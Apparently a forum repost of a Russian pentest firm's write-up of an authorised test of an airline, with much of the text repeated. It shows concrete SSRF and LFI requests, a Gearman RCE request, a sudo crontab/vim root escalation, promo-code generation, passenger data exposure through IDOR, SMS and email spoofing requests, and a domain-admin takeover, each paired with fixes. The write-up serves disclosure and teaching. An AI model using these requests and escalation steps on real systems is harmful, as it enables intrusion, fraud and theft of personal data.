vaspvort
Ночной дозор
Команда форума
Модератор
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
Private Club
Старожил
Migalki Club
Меценат💰️
Представьте: вы заказываете пентест, ожидая найти пару-тройку мелких багов, а в итоге получаете отчет, от которого волосы встают дыбом даже у бывалых айтишников. Знакомая ситуация? Нет? Пристегните ремни — сейчас будет турбулентность.
Сегодня у нас в блоге горячая история о том, как одна авиакомпания чуть не отправилась на небеса кибербезопасности. В этой статье мы разберем, как наша команда прошла путь от невинной SSRF-уязвимости до полного контроля над доменом заказчика. Спойлер: по пути мы нашли возможность генерировать бесконечные промокоды, отправлять SMS от имени компании и даже заглянули в святая святых — систему 1С.
Disclaimer: все описанные действия проводились с согласия заказчика в рамках легального пентеста. Не пытайтесь повторить это дома или где-либо еще — статью 272 УК РФ никто не отменял.
Мы нашли эту уязвимость благодаря фаззингу хостов. Наткнулись на Swagger, тот самый инструмент для документирования API, который по идее должен облегчать жизнь разработчикам. Но в руках хакеров... ну, вы поняли.
Алгоритм обнаружения SSRF
Представьте: вы заставляете сервер компании делать запросы куда угодно. Во внутреннюю сеть или на свой локальный адрес. При этом вы контролируете либо весь запрос целиком, либо его части, например, домен. Это похоже на ситуацию, когда преступник шантажом заставляет администратора банка заглянуть в каждый сейф. Самое главное — для системы все выглядит легитимно: запросы идут изнутри, от «своего парня». Например, этой строчкой мы заставили сервер авиакомпании постучаться к нам на огонек:
https://сайт_авиакомпании/?url=наш_особый_сервер.oastify.com
Пример вредоносного запроса
SSRF позволила нам использовать уязвимый сервер как прокси и атаковать недоступные извне сервисы, обходя файрвол. В некоторых случаях SSRF может привести к удаленному выполнению кода и утечке конфиденциальных данных из внутренних систем.
Результат выполнения вредоносного запроса уязвимым сервером
Дальше — больше. Мы обнаружили уязвимость Local File Inclusion (LFI), которая позволила получить доступ к файлам конфигурации сервера с помощью простого запросаfile://{path}.
Представьте библиотеку с автоматизированной системой выдачи книг. Вы, как прилежный тестировщик, вводите название книги с ошибкой, а система сбоит и выдает свежий бухгалтерский отчет из кабинета директора. Поздравляю, вы нашли LFI-уязвимость!
https://сайт_авиакомпании/parser/?url=file:///etc/passwd
Пример запроса
Этот безобидный на вид запрос заставляет сервер прочитать и отдать содержимое файла /etc/passwd.
Ответ сервера, раскрывающий парольную информацию
Кстати, эту уязвимость относительно просто закрыть. Для этого компании требовалось:
Вектор атаки на сервер, который привел к его захвату
Сначала мы использовали LFI, чтобы стащить с сервера статический ключ для Gearman.
https://сайт_авиакомпании/?url=file:///w/etc/gearman/controller
Затем мы использовали gearmctrl.php. Это скрипт на PHP, с помощью которого администраторы и разработчики отслеживают состояние Gearman сервера, управляют его настройками и мониторят выполнение задач.
В gearmctrl есть функция exec(), в которую можно внедрить код ОС через пользовательский ввод. Нужно только правильно сформировать строку-запрос, добавив к ней статический ключ, и отправить на gearmctrl.php.
Как работал скрипт?
Часть файла, через который выполнялась RCE
Пример формирования строки
Далее мы отправили POST-запрос к gearmctrl.php, чтобы получить результаты выполнения команд ОС на подконтрольный сервер:
POST https://сайт_авиакомпании/gearman/gearmctrl.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
msg=[сформированная нами строка]
Так мы получили возможность выполнять на сервере произвольные команды и без шума и пыли получать результаты их выполнения.
Демонстрация выполнения команды pwd;whoami;ls -la на удаленном сервере
Чтобы пофиксить возможность такой атаки, достаточно просто удалить файл, через который мы реализовали RCE. Но по-хорошему стоит пересмотреть архитектуру всего приложения и отправить в топку весь устаревший и неиспользуемый код.
Далее мы решили добиться привилегий root-пользователя на сервере. В этом помогла небезопасная конфигурация sudo.
(ALL) NOPASSWD: /usr/bin/crontab -u apache[A-z/-. ]*
На первый взгляд — ничего особенного, просто разрешение погонять crontab, но такая конфигурация позволяет любому пользователю исполнять crontab от имени пользователя apache без пароля root.
Когда мы редактируем cron, система любезно открывает нам редактор. Обычно это vim или nano. И вот тут начинается самое интересное: эти редакторы запускаются с правами root. А теперь фокус:
sudo /usr/bin/crontab -u apache -e
:!sh -p
Применив :!sh -p говорим vim: «запусти-ка мне shell с сохранением привилегий» — получаем root-shell.
Локальное повышение привилегий
Чтобы избежать подобных уязвимостей, важно тщательно проверять все конфигурации. Существуют более безопасные способы изменения crontab пользователя apache. Например, можно запретить прямое редактирование, но разрешить чтение crontab. Это исключит необходимость запуска редакторов от имени root.
Покопавшись в исходниках (спасибо разработчикам за комментарии!) мы поняли, что пароли в базе данных, которая обслуживает сайт компании, хранились в виде md5-хэша со статичной солью. Обычно мы не показываем в блоге такие вещи, но эта соль достойна скриншота:
Типичная статичная соль, ничего необычного
Несмотря на посыл, эта защита оказалась практически бесполезной. Сам я в криптографии не разбираюсь, тем более в обсценной, но вот что по этому поводу написал мой коллега-тимлид Алексей Трофимов:
В этой «сверхзащищенной» базе хранилась информация о десятках миллионов пользователей сайта авиакомпании — практически обо всех клиентах. Знатная была бы утечка, если бы до данных добрались злоумышленники.
Мы же хотели найти среди пользователей сотрудников заказчика. Мы решили выбрать из базы записи с корпоративными адресами электронной почты: искали почтовые ящики с доменом авиакомпании и похожими вариациями. Расчет был на то, что владелец такой почты — скорее всего нынешний или бывший сотрудник заказчика.
Так у нас на руках оказалось около полутора тысяч учетных записей потенциальных сотрудников. После взлома взлома хэшей по словарю осталось более 700 учетных записей.
Таким образом в наши руки попали сотни пар «корпоративная почта/пароль». Самое время проверить, к чему еще подойдут эти креды: к Confluence, или, может быть, к VPN?
Вместо прямого перебора паролей мы пошли на тактическую хитрость. Представьте: девять утра, понедельник. Сотни сонных сотрудников одновременно пытаются залогиниться, попивая свой латте… И тут к ним присоединяемся мы, чтобы затеряться в общей массе.
Системы защиты даже глазом не моргнули. Почему? Чтобы обнаружить посторонних, нужен анализ IP-адресов, а он создает сложности с авторизацией и поэтому применяется редко.
В большинстве случаев VPN требовал второй фактор, однако нашлось и несколько исключений. Их объединяло право доступа к админке VPN. Не могу утверждать наверняка, но похоже, они самостоятельно отключили двухфакторную авторизацию. Упростили жизнь и себе, и хакерам.
Получение доступа во внутреннюю корпоративную инфраструктуру через VPN
Множественное раскрытие учетных данных для доступа к внутренним сервисам и системам
Но самой занятной оказалась возможность сгенерировать неограниченное количество промокодов на любые суммы.
Вот как выглядит рецепт бесконечного богатства:
POST
https://сайт_авиакомпании/marketing/gift_certificate.php?action=generate
Content-type: application/json
{
"request_id": "1",
"denomination": 200,
"payment_type": "money",
"partner": "giftery"
}
Демонстрация создания промокода
Легкое движение руки, и у вас есть промокод на 200 рублей. Но зачем останавливаться на малом? Теоретически можно генерировать их и на куда более крупные суммы, вплоть до миллионов рублей.
Причем оказалось, что любой сотрудник мог создать новую учетку в домене без подтверждения почты. Уволили? Не беда! Учетка живет своей жизнью, а вы — своей, на берегу океана, потягивая коктейли за счет щедрых промокодов.
Теоретически, злоумышленник мог бы:
А теперь к IDOR. Доступ к некоторым объектам в инфраструктуре заказчика был реализован по прямой ссылке с использованием «уникальных» идентификаторов. При этом система не проверяла, принадлежит ли идентификатор пользователю. Я ставлю «уникальные» в кавычки, потому что эти айдишники имели энтропию как у пароля «qwerty123». И вишенка на торте: эта уязвимость работала как в VPN, так и снаружи. Нужна была всего лишь учетка в домене авиакомпании.
Так, через /api_export/index.php мы получили доступ к личным данным всех пассажиров по номеру заказа. Нам оказались доступны ФИО, адреса электронной почты, номера телефонов и билетов, маршруты движения, даты убытия/прибытия. В некоторых случаях был виден частичный номер банковской карты и стоимость заказа.
Представив заголовки в СМИ: «Данные миллионов пассажиров оказались в открытом доступе», мы поспешили присвоить этой уязвимости критический уровень опасности и выдали рекомендации:
POST https://сайт_авиакомпании/rest/index.php?handler=bus_send_sms
HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
phone=79999999999&text=Бастиону привет!&type=mobileapp promotion
С помощью этой «фичи» можно было запросто устроить масштабную фишинговую атаку: «Ваш рейс отменен. Для возврата средств перейдите по ссылке...». Или просто напакостить, опустошив баланс СМС-шлюза.
Отправляем СМС на любой номер
Похожая проблема была связана и с электронной почтой. Только теперь речь шла об отправке писем от имени любого пользователя в корпоративном домене.
POST https://сайт_авиакомпании/rest/index.php?handler=mail_send HTTP/1.1
Content-type: application/x-www-form-urlencoded
params={"from":"admin@сайт_авиакомпании","to":"почтовый@домен.com","subject":"321","body":"123"}&headers=
Итак, мы уже пробились в домен из большого интернета, но хотели большего. Мы решили пойти ва-банк и замахнуться на святая святых — права доменного админа и ключевые системы компании:
Дальше в ход пошла утилита psexec.exe. С ее помощью мы получили права SYSTEM. Это позволило нам обнаружить токен доменного администратора. С его помощью мы запустили командную строку, а затем мы создали новую учетную запись с правами доменного администратора.
Пошаговое добавление пользователя в группу доменных администраторов
Итак, в результате мы получили доступ:
Скрипт для запуска по расписанию
Каждый день она послушно запускала скрипт, который в свою очередь запускал 1С. В этом скрипте были учетные данные для подключения к «1С Предприятие»
Доступ к «1С Предприятие»
Чтобы этого избежать, надо было ограничить доступ на чтение файла для запуска задачи и, возможно, скрыть задачу и файл от всех, кроме SYSTEM или отдельных администраторов.
Общая схема пентеста
Что мы имеем в сухом остатке? Периметр — как решето, пароли хранятся так, будто на дворе 2007-й, сегментация сети отсутствует вовсе. И вишенка на торте — ручки от критически важных систем доступны чуть ли не по первому щелчку.
Растущая сложность систем, нехватка ресурсов, человеческий фактор — причины понятны, но что делать в такой ситуации? Для начала закрыть базовые косяки:
А вы что думаете по этому поводу? Делитесь в комментариях своими историями и лайфхаками. Уверен, нам есть чему поучиться друг у друга!
Сегодня у нас в блоге горячая история о том, как одна авиакомпания чуть не отправилась на небеса кибербезопасности. В этой статье мы разберем, как наша команда прошла путь от невинной SSRF-уязвимости до полного контроля над доменом заказчика. Спойлер: по пути мы нашли возможность генерировать бесконечные промокоды, отправлять SMS от имени компании и даже заглянули в святая святых — систему 1С.
Disclaimer: все описанные действия проводились с согласия заказчика в рамках легального пентеста. Не пытайтесь повторить это дома или где-либо еще — статью 272 УК РФ никто не отменял.
Первая часть, в которой «неприступная крепость» превращается в швейцарский сыр
Все началось с Server Side Request Forgery (SSRF) — эксплойта, который позволяет подделывать серверные запросы. Мы обнаружили эту уязвимость буквально в первый день пентеста. SSRF открывала возможности для манипуляций с сервером, на котором располагался сайт заказчика.Мы нашли эту уязвимость благодаря фаззингу хостов. Наткнулись на Swagger, тот самый инструмент для документирования API, который по идее должен облегчать жизнь разработчикам. Но в руках хакеров... ну, вы поняли.
Алгоритм обнаружения SSRF
Представьте: вы заставляете сервер компании делать запросы куда угодно. Во внутреннюю сеть или на свой локальный адрес. При этом вы контролируете либо весь запрос целиком, либо его части, например, домен. Это похоже на ситуацию, когда преступник шантажом заставляет администратора банка заглянуть в каждый сейф. Самое главное — для системы все выглядит легитимно: запросы идут изнутри, от «своего парня». Например, этой строчкой мы заставили сервер авиакомпании постучаться к нам на огонек:
https://сайт_авиакомпании/?url=наш_особый_сервер.oastify.com
Пример вредоносного запроса
SSRF позволила нам использовать уязвимый сервер как прокси и атаковать недоступные извне сервисы, обходя файрвол. В некоторых случаях SSRF может привести к удаленному выполнению кода и утечке конфиденциальных данных из внутренних систем.
Результат выполнения вредоносного запроса уязвимым сервером
Дальше — больше. Мы обнаружили уязвимость Local File Inclusion (LFI), которая позволила получить доступ к файлам конфигурации сервера с помощью простого запросаfile://{path}.
Представьте библиотеку с автоматизированной системой выдачи книг. Вы, как прилежный тестировщик, вводите название книги с ошибкой, а система сбоит и выдает свежий бухгалтерский отчет из кабинета директора. Поздравляю, вы нашли LFI-уязвимость!
https://сайт_авиакомпании/parser/?url=file:///etc/passwd
Пример запроса
Этот безобидный на вид запрос заставляет сервер прочитать и отдать содержимое файла /etc/passwd.
Ответ сервера, раскрывающий парольную информацию
Кстати, эту уязвимость относительно просто закрыть. Для этого компании требовалось:
- строго фильтровать входные данные — например, проверять входные параметры для url;
- создать белый список разрешенных для включения файлов и путей;
- настроить права доступа на уровне файловой системы.
Вторая часть, в которой происходит полная компрометация сервера авиакомпании
Итак, берем щепотку LFI, добавляем неправильно настроенный , приправляем все это SSRF — и получаем удаленное выполнение кода (RCE).
Вектор атаки на сервер, который привел к его захвату
Сначала мы использовали LFI, чтобы стащить с сервера статический ключ для Gearman.
https://сайт_авиакомпании/?url=file:///w/etc/gearman/controller
Затем мы использовали gearmctrl.php. Это скрипт на PHP, с помощью которого администраторы и разработчики отслеживают состояние Gearman сервера, управляют его настройками и мониторят выполнение задач.
В gearmctrl есть функция exec(), в которую можно внедрить код ОС через пользовательский ввод. Нужно только правильно сформировать строку-запрос, добавив к ней статический ключ, и отправить на gearmctrl.php.
Как работал скрипт?
Часть файла, через который выполнялась RCE
Пример формирования строки
Далее мы отправили POST-запрос к gearmctrl.php, чтобы получить результаты выполнения команд ОС на подконтрольный сервер:
POST https://сайт_авиакомпании/gearman/gearmctrl.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
msg=[сформированная нами строка]
Так мы получили возможность выполнять на сервере произвольные команды и без шума и пыли получать результаты их выполнения.
Демонстрация выполнения команды pwd;whoami;ls -la на удаленном сервере
Чтобы пофиксить возможность такой атаки, достаточно просто удалить файл, через который мы реализовали RCE. Но по-хорошему стоит пересмотреть архитектуру всего приложения и отправить в топку весь устаревший и неиспользуемый код.
Далее мы решили добиться привилегий root-пользователя на сервере. В этом помогла небезопасная конфигурация sudo.
(ALL) NOPASSWD: /usr/bin/crontab -u apache[A-z/-. ]*
На первый взгляд — ничего особенного, просто разрешение погонять crontab, но такая конфигурация позволяет любому пользователю исполнять crontab от имени пользователя apache без пароля root.
Когда мы редактируем cron, система любезно открывает нам редактор. Обычно это vim или nano. И вот тут начинается самое интересное: эти редакторы запускаются с правами root. А теперь фокус:
sudo /usr/bin/crontab -u apache -e
:!sh -p
Применив :!sh -p говорим vim: «запусти-ка мне shell с сохранением привилегий» — получаем root-shell.
Локальное повышение привилегий
Чтобы избежать подобных уязвимостей, важно тщательно проверять все конфигурации. Существуют более безопасные способы изменения crontab пользователя apache. Например, можно запретить прямое редактирование, но разрешить чтение crontab. Это исключит необходимость запуска редакторов от имени root.
Третья часть, в которой пентестеры не верят своим глазам
После получения контроля над сервером мы почувствовали себя как дети в кондитерской: перед нами открылось просто море возможностей. Первым делом мы, как истинные джентльмены, настроили ReverseShell. Потому что удобство — прежде всего, даже в хакинге. А дальше началось самое интересное.Покопавшись в исходниках (спасибо разработчикам за комментарии!) мы поняли, что пароли в базе данных, которая обслуживает сайт компании, хранились в виде md5-хэша со статичной солью. Обычно мы не показываем в блоге такие вещи, но эта соль достойна скриншота:
Типичная статичная соль, ничего необычного
Несмотря на посыл, эта защита оказалась практически бесполезной. Сам я в криптографии не разбираюсь, тем более в обсценной, но вот что по этому поводу написал мой коллега-тимлид Алексей Трофимов:
В этой «сверхзащищенной» базе хранилась информация о десятках миллионов пользователей сайта авиакомпании — практически обо всех клиентах. Знатная была бы утечка, если бы до данных добрались злоумышленники.
Мы же хотели найти среди пользователей сотрудников заказчика. Мы решили выбрать из базы записи с корпоративными адресами электронной почты: искали почтовые ящики с доменом авиакомпании и похожими вариациями. Расчет был на то, что владелец такой почты — скорее всего нынешний или бывший сотрудник заказчика.
Так у нас на руках оказалось около полутора тысяч учетных записей потенциальных сотрудников. После взлома взлома хэшей по словарю осталось более 700 учетных записей.
Таким образом в наши руки попали сотни пар «корпоративная почта/пароль». Самое время проверить, к чему еще подойдут эти креды: к Confluence, или, может быть, к VPN?
Вместо прямого перебора паролей мы пошли на тактическую хитрость. Представьте: девять утра, понедельник. Сотни сонных сотрудников одновременно пытаются залогиниться, попивая свой латте… И тут к ним присоединяемся мы, чтобы затеряться в общей массе.
Системы защиты даже глазом не моргнули. Почему? Чтобы обнаружить посторонних, нужен анализ IP-адресов, а он создает сложности с авторизацией и поэтому применяется редко.
В большинстве случаев VPN требовал второй фактор, однако нашлось и несколько исключений. Их объединяло право доступа к админке VPN. Не могу утверждать наверняка, но похоже, они самостоятельно отключили двухфакторную авторизацию. Упростили жизнь и себе, и хакерам.
Получение доступа во внутреннюю корпоративную инфраструктуру через VPN
Четвертая часть, в которой наконец-то можно лететь на Бали
По исходникам на захваченном сервере было видно, что часть интеграционного API веб-сервисов авиакомпании доступна только из внутренней сети через VPN. Система проверяла IP-адрес отправителя запроса. Если адрес определялся как безопасный (локальный, из внутренней сети), открывался доступ ко всяким интересным функциям. Обладая доступом по VPN, пусть и с минимальными привилегиями во внутренней корпоративной сети, мы получили доступ к:- административной панели сайта;
- корпоративным платформам (Zulip, Zoom);
- облачным хранилищам (ONLYOFFICE, ownCloud).
Множественное раскрытие учетных данных для доступа к внутренним сервисам и системам
Но самой занятной оказалась возможность сгенерировать неограниченное количество промокодов на любые суммы.
- Мы обнаружили файл с невинным названием gift_certificate.php.
- Внутри мы обнаружили функцию-генератор промокодов.
- И главное — эта функция не проверяла, кто ее вызывает!
Вот как выглядит рецепт бесконечного богатства:
POST
https://сайт_авиакомпании/marketing/gift_certificate.php?action=generate
Content-type: application/json
{
"request_id": "1",
"denomination": 200,
"payment_type": "money",
"partner": "giftery"
}
Демонстрация создания промокода
Легкое движение руки, и у вас есть промокод на 200 рублей. Но зачем останавливаться на малом? Теоретически можно генерировать их и на куда более крупные суммы, вплоть до миллионов рублей.
Причем оказалось, что любой сотрудник мог создать новую учетку в домене без подтверждения почты. Уволили? Не беда! Учетка живет своей жизнью, а вы — своей, на берегу океана, потягивая коктейли за счет щедрых промокодов.
Теоретически, злоумышленник мог бы:
- Тихонько генерировать промокоды и потихоньку продавать их.
- Устроить промокодный армагеддон и накупить билетов на Бали для всего Хабра, пока в офисе авиакомпании не спохватились бы.
Пятая часть, в которой пентестеры обретают всевидящее око
А теперь к IDOR. Доступ к некоторым объектам в инфраструктуре заказчика был реализован по прямой ссылке с использованием «уникальных» идентификаторов. При этом система не проверяла, принадлежит ли идентификатор пользователю. Я ставлю «уникальные» в кавычки, потому что эти айдишники имели энтропию как у пароля «qwerty123». И вишенка на торте: эта уязвимость работала как в VPN, так и снаружи. Нужна была всего лишь учетка в домене авиакомпании.
Так, через /api_export/index.php мы получили доступ к личным данным всех пассажиров по номеру заказа. Нам оказались доступны ФИО, адреса электронной почты, номера телефонов и билетов, маршруты движения, даты убытия/прибытия. В некоторых случаях был виден частичный номер банковской карты и стоимость заказа.
Представив заголовки в СМИ: «Данные миллионов пассажиров оказались в открытом доступе», мы поспешили присвоить этой уязвимости критический уровень опасности и выдали рекомендации:
- проверять у пользователя наличие прав доступа к запрашиваемым объектам;
- к уязвимым для IDOR параметрам добавлять случайные идентификаторы, обладающие достаточной энтропией, не поддающиеся перебору за обозримое время;
- внедрить лимиты на количество запросов с одного IP-адреса;
- тщательно проверять каждый API-эндпоинт на предмет несанкционированного доступа.
Шестая часть, в которой пентестеры могут заявить о себе всему миру
После того как мы получили доступ к личным данным пассажиров, нам на глаза попалась еще одна полезная ручка API /rest/index.php, позволяющая отправлять СМС от лица компании.POST https://сайт_авиакомпании/rest/index.php?handler=bus_send_sms
HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
phone=79999999999&text=Бастиону привет!&type=mobileapp promotion
С помощью этой «фичи» можно было запросто устроить масштабную фишинговую атаку: «Ваш рейс отменен. Для возврата средств перейдите по ссылке...». Или просто напакостить, опустошив баланс СМС-шлюза.
Отправляем СМС на любой номер
Похожая проблема была связана и с электронной почтой. Только теперь речь шла об отправке писем от имени любого пользователя в корпоративном домене.
POST https://сайт_авиакомпании/rest/index.php?handler=mail_send HTTP/1.1
Content-type: application/x-www-form-urlencoded
params={"from":"admin@сайт_авиакомпании","to":"почтовый@домен.com","subject":"321","body":"123"}&headers=
Седьмая часть, в которой команда Бастиона получает все ключи
Итак, мы уже пробились в домен из большого интернета, но хотели большего. Мы решили пойти ва-банк и замахнуться на святая святых — права доменного админа и ключевые системы компании:
- компоненты инфраструктуры (включая домен Active Directory);
- системы обеспечения информационной безопасности;
- системы управления базами данных;
- АРМ администраторов и системы хранения данных;
- системы электронного документооборота;
- финансовые системы (включая 1С).
Дальше в ход пошла утилита psexec.exe. С ее помощью мы получили права SYSTEM. Это позволило нам обнаружить токен доменного администратора. С его помощью мы запустили командную строку, а затем мы создали новую учетную запись с правами доменного администратора.
Пошаговое добавление пользователя в группу доменных администраторов
Итак, в результате мы получили доступ:
- к бекапам — права доменного администратора позволили подключиться к серверу резервного копирования по протоколу RDP;
- контроль над антивирусом;
- контроль над системой 1С-Битрикс;
- возможность управлять разными БД и системой хранения паролей.
Скрипт для запуска по расписанию
Каждый день она послушно запускала скрипт, который в свою очередь запускал 1С. В этом скрипте были учетные данные для подключения к «1С Предприятие»
Доступ к «1С Предприятие»
Чтобы этого избежать, надо было ограничить доступ на чтение файла для запуска задачи и, возможно, скрыть задачу и файл от всех, кроме SYSTEM или отдельных администраторов.
Часть, в которой мы делаем выводы
Итак, словно в голливудском блокбастере, мы прошли путь от скромного SSRF до полного контроля над доменом, попутно собрав внушительную коллекцию «трофеев» — от промокодов до ключей администратора.
Общая схема пентеста
Что мы имеем в сухом остатке? Периметр — как решето, пароли хранятся так, будто на дворе 2007-й, сегментация сети отсутствует вовсе. И вишенка на торте — ручки от критически важных систем доступны чуть ли не по первому щелчку.
Растущая сложность систем, нехватка ресурсов, человеческий фактор — причины понятны, но что делать в такой ситуации? Для начала закрыть базовые косяки:
- Навести порядок на периметре. Прикрутить WAF не помешает.
- Перейти на нормальное хранение паролей. Argon2 или хотя бы bcrypt вам в помощь.
- Сегментировать сеть так, будто вы проектируете бункер для Судного дня.
- Двухфакторка на все, что движется и не движется.
- Аудиты безопасности — в регулярку.
А вы что думаете по этому поводу? Делитесь в комментариях своими историями и лайфхаками. Уверен, нам есть чему поучиться друг у друга!
